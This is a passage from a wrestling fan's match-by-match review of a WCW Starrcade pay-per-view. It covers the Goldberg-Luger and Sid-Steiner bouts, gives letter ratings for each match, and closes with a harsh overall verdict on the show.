Bigelow gets a cup of something and throws it at Awesome to take over. They fight up to the ambulance as this is pretty dull so far. It’s not a bad match but it’s nothing we haven’t seen a dozen times this year already. Awesome says he’s putting Bigelow in but gets the door slammed on him for his trouble. Window gets busted out by Bigelow missing a right hand.

 

They leave the ambulance place and head back towards the ring because they’re not that smart. The fans chant for Goldberg out of boredom. They fight to the announce table and it’s the same kind of brawl as you would expect here. It’s the same thing we’ve seen time and time again and it’s not interesting anymore. They put a table in front of the ring and Awesome, the guy that set it up, goes through it via a backdrop.

 

We head over to the ambulance again with Bigelow in firm control. You know I hadn’t realized it but both of the people in this are dead and one in the previous match was as well. That’s always rather disturbing. Bigelow rips the lights off the top of the ambulance and Awesome knocks him through the roof of the ambulance. And no one cares.

 

Rating: D. The match wasn’t terrible but at the same time Mike Awesome was a waste of talent here as he was thrown into matches with old guys for hardcore matches again and again and no one cared. Dude, he’s a freaking MONSTER and he’s doing this. And people wonder why WCW went out of business. And yes I know I’ve said that a lot but it’s so obvious that the company is screwing up left and right.

 

Reno says his family is the Thrillers. Sanders isn’t worried about the tag title match later. They say they have a gift for Gene later.

 

US Title: Shane Douglas vs. General Rection

 

Shane has been feuding with the MIA for no apparent reason. Rection is the champion here. Torrie, Shane’s valet, isn’t here tonight and Shane blames Rection. Shane jumps Rection and we’re off and jogging. They chop it out in the corner and we hear about the US Title being the #1 contender belt. I wonder how often that actually happened as I can remember only a handful of times.

 

Out to the floor with Rection badly missing kicks to the head but Shane selling them anyway. To the announce table for about the 5^th time tonight. We head back in and Shane pulls the ropes up to crotch the General and take over. Rection says HIT ME so Shane walks into a bearhug. Madden talks about the MIA (Misfits in Action) all leaving Rection at this point.

 

The fans chant boring and I can’t argue all that hard. Morrus’ answer? More bearhug. Shane breaks up an attempt at the moonsault and hits a swinging neckbreaker. We go to the floor after a Shane beatdown to see Morrus pick him up and ram him into….something and Shane is busted open. Allegedly the back of Shane’s head hit the post and it hit it so hard it busted open the wrong side of his head.

 

The moonsault misses again and Douglas pulls the chain out of his tights. You could call either the real thing or the joke a foreign object I guess. Morrus knocks it out of his hand and here’s former MIA member Chavo. Chavo gets the chain and throws it to Shane, then shows the referee that Shane has the weapon.

 

Rating: D. Again, THIS WAS DULL. That’s been the problem with the whole show other than the opener. None of these matches make me think this is the biggest show of the year. They make me think this is a glorified Nitro and that I want to get to the next match because it means we’re that much closer to the end of the show. Absolutely terrible so far and this was another boring and not very good match.

 

Big beatdown by Shane on both guys follows until the other two Misfits come out for the save. Each checks on one guy and it seems we have a split. Yeah I don’t care either.

 

Scott Steiner says he’s going to win and implies sex with multiple women.

 

Glacier is coming again and the announcers make fun of the whole idea.

 

The Insiders, DDP and Nash, have a title shot tonight and are with Bagwell here. They make fun of being old and that they make a ton of money.

 

Jeff Jarrett/Harris Brothers vs. Filthy Animals

 

The Animals are Kidman, Konnan and the unmasked Rey. This is a bunkhouse (meaning street fight) street fight. There are a bunch of weapons around the ring such as a popcorn machine, a bar (as in NORM!) and a shopping cart full of aluminum cans. At least we get Tygress gyrating. She’s on commentary here also. Naturally this is a total brawl with all kinds of weapons everywhere.

 

Rey and Kidman have a Harris in the ring and that’s done in seconds as that Harris goes into the popcorn maker. The Animals are in control here and the Bronco Buster goes all around. Well except for on Jarrett who gets his foot up and kicks Rey in the balls, much to Tygress’ sadness. Jarrett tries to superplex Kidman onto the bar but instead it’s something like a double spinebuster with Kidman and Rey putting Jarrett through the bar for two.

 

Double bulldog onto a Harris onto a sign onto a trashcan. Getting what we’re up against here? Rey gets a Boom Drop while sitting on a street sign off the middle rope. Apparently this feud started over Rey vs. Jarrett. Rey gets powerbombed into a dumpster via the master of Slapnuts. Everyone beats on Kidman and now, 8 minutes into the match, we start tagging. I give up.

 

Double big boot by the Harrisses mostly misses Kidman. Jarrett gets a sweet dropkick for no cover on Billy. Off to a sleeper now as Konnan checks to make sure that Rey is still alive. Kidman reverses as Tony talks about drinks, sandwiches and laxatives. It was a different time. There’s the balmy 70 degree tag to Konnan who beats up various people until he walks into the H Bomb.

 

This is the Nashville World Order. Just stop guys. Just stop. Table comes in as Madden wonders why there are so many tables under the ring which is a fair question. Rey gets out of the dumpster with a broom and the announcers talk about a clean sweep. Jarrett gets put on the table, only for Rey to dive over him and get dropped through it himself. Kidman fights Jarrett a bit and hits the Kid Crusher. He goes for the Shooting Star though and gets drilled with a beer bottle. Stroke ends him soon thereafter.

 

Rating: C-. This was better than you would think actually. They hammered on each other and until the stupid tagging part came in, this was a pretty fun brawl. The problem is that this was what….the fourth brawl out of six or seven matches? The overkill caught up with them here and it made the match that would have been good seem a bit weaker by comparison.

 

Sarge, the guy that trained Goldberg, says he wished he would fight Luger later. Luger jumps him and leaves him laying. Good for him as Sarge is said to be one of the biggest jerks in wrestling history, including saying that Batista had no future in wrestling and treating him like nothing.

 

The announcers talk about Goldberg’s second streak and how Luger can’t beat him on his own so he has to use stuff like this. Yes, make Goldberg madder. That’ll make the match easier no?

 

We recap the Insiders vs. the Thrillers. The idea is that the old guys beat them already at Mayhem but Sanders stripped them because he could.

 

Tag Titles: Insiders vs. Perfect Event

 

DDP/Nash vs. Stasiak/Palumbo if you’re luckily not familiar. Before the match, Flair, the boss with spiky hair here, says that if Sanders moves towards the ring then the Insiders get the titles. Flair making a token appearance at Starrcade is ok with me. Sanders yells at the commentators here and says something about cupcakes. We hear the “Page is 45, looks 35 and wrestles 25” line. Palumbo vs. Nash to start with Nash of course plowing through him.

 

Palumbo gets a clothesline to put him down but misses the elbow. Nash tags as I continue to wonder how Page fell so far in like a year. I think it was the haircut actually. Off to Stasiak who gets chopped not that hard. Stasiak’s balls get attached to the pole which is how they’re designed to be I think. Page gets a belly to belly for two. Diamond Cutter doesn’t work so he settles for a Rock Bottom (called a chokeslam which is close enough) for two. He sets for the Diamond Cutter again but has to turn around to look for Palumbo to break it up. Jungle (Super) kick puts Page down and the champions take over.

 

Chuck gets an overhead belly to belly and stops a Page comeback so he can send in Stasiak. Ok never mind as it’s back to Palumbo seconds later. DDP fights out of the corner and does the falling into Stasiak’s crotch spot ala Sting. If you didn’t get the idea the first time around, Page fights out of the corner again, this time with a discus lariat. Both guys go down again until we finally get the tag to Nash.

 

Nash cleans house and Pages takes a low blow. The double team move by the champions gets two and Stasiak takes a Cutter on the floor. Belt shot gets two for Palumbo and the other Thrillers get beaten down with relative ease by Page. Big boot and Jackknife to Palumbo give the Insiders the titles.

 

Rating: C-. Very standard tag match here which was fine although I do wonder why they did the title change the previous month in more or less the same match. Oh that’s right: it gives Nash and Page two title changes instead of one. The Diamond Cutter still gets a good reaction which is the sign of a good finisher. Anyway, basic match here and possibly the second best match of the night, which is a bad sign.

 

We recap Goldberg vs. Luger. The idea is that Goldberg has to get to 177-0, breaking his old streak, to get another world title shot. Luger beat up Goldberg’s trainer to set this up.

 

Lex Luger vs. Goldberg

 

This is a rematch from Mayhem. Goldberg is on a 30 match winning streak here. Luger just fell apart after about 1998. Goldberg jumps him before the bell rings and we’re on the floor early. Luger tries to run go Bill beats on him even more in the aisle. This is a total domination. Luger finally shoves him into the post to break the momentum a bit. This is no holds barred apparently, meaning we have ANOTHER no DQ match.

 

Bagwell and Sarge come out and you can smell the SHOCKING yes SHOCKING I SAY heel turn coming a mile away. Also a little over 11 years ago in the past but maybe that’s implied. Goldberg gets a big shoulder and sets for the spear. Luger pulls the referee in front like last month but Goldberg pulls up in time. Sarge goes down and Luger gets a shot with brass knuckles for two. Bagwell sets for a Blockbuster which he of course hits Goldberg with, continuing his bromance with Luger. Buff drills Sarge on the floor as the Rack gets blocked. Spear and Jackhammer end Luger.

 

Rating: D+. Big brawl here which again, WE SAW IT EARLIER. The heel turn went nowhere of course other than setting up the tag match next month where Goldberg lost, never to be seen in WCW again. It’s another stupid turn for the sake of a stupid turn but that’s WCW for you. Not much of a match but it could have been worse.

 

Buff pops Goldberg with a chair and leaves with Luger. Yes, a chair from Buff Bagwell put Goldberg down. I’m done.

 

Goldberg picks up some fan that said he wanted to meet Goldberg. That’s always cool to see.

 

We recap Sid vs. Steiner. Sid was the big surprising return and no one, I mean no one, cared.

 

WCW World Title: Sid Vicious vs. Scott Steiner

 

We hear about various title matches at Starrcade. None of them are anywhere nearly as weak as this one……not even…..hang on a second…….not even Flair vs…….bear with me here……Flair vs. Garvin. Man that was hard to write. Midajah is gorgeous other than her face. Sid is in long tights which I never remember seeing him in. Steiner chops away so Sid pounds him down.

 

This is going to be one of those matches where they have to shoot each other to get the other to sell right? Steiner wants a test of strength and Steiner dominates it with ease. Sid breaks it up and gets a leg drop for two. They head to the floor and Midajah hits him with the pipe. Chair to the side of the head as I’m assuming this is no DQ also.

 

Back in the ring and Scott dominates. The horribly weak looking chinlock goes on but Sid reaches him arm over maybe a good 8 inches to get the rope for the break. It goes back on in the middle of the ring but Sid just stands up. Midajah hits a cross body to Steiner by mistake and Sid adds a chokeslam for two.

 

Cobra clutch by Sid but Steiner pops the referee. Pipe to the back of Sid as this is breaking down by the second. Another referee is here and it gets two. Jarrett comes down as apparently this is our big surprise for the show. The guitar shot hits Scott though for two as Jeff pulls the referee out. In a cool sight, Jarrett swings at thto e referee but Robinson (referee) ducks, slides in, and counts two again. Powerbomb is blocked by a low blow and a few seconds later Sid passes out in the Recliner to keep the title on Steiner.

 

Rating: D-. To the shock of no one, this was a mess. Jarrett and Steiner are apparently the big heel alliance now and no one cares. Of course Steiner, allegedly a nightmare backstage at this point, continues his Superman push. The match ran like 10 minutes. From Race vs. Flair….to this. Let that sink in for a bit. Steiner holding up the belt with one of the side plates falling off is a sad sight indeed.

 

Overall Rating: D. I’ve seen worse shows, but the problem here is that other than the ladder match, absolutely nothing here feels like it belongs on a major PPV. I mean really, the ladder match is worth seeing (although it’s got nothing on the first TLC matches or the triangle ladder match but still) but other than that, I’m not going to remember a thing on this show in about two hours.

 

They managed to make Starrcade, once the biggest show in the world, into nothing more than a run of the mill show. This was a great example of why the company died. There was no reason for the main event to happen, no one wanted to see it, the people in it were never going anywhere, there were ten matches and you could argue six of them were weapons/hardcore based matches and there was one match worth watching with the people in it never getting a push. This my friends is WCW and that is why it died. Off to Sin.
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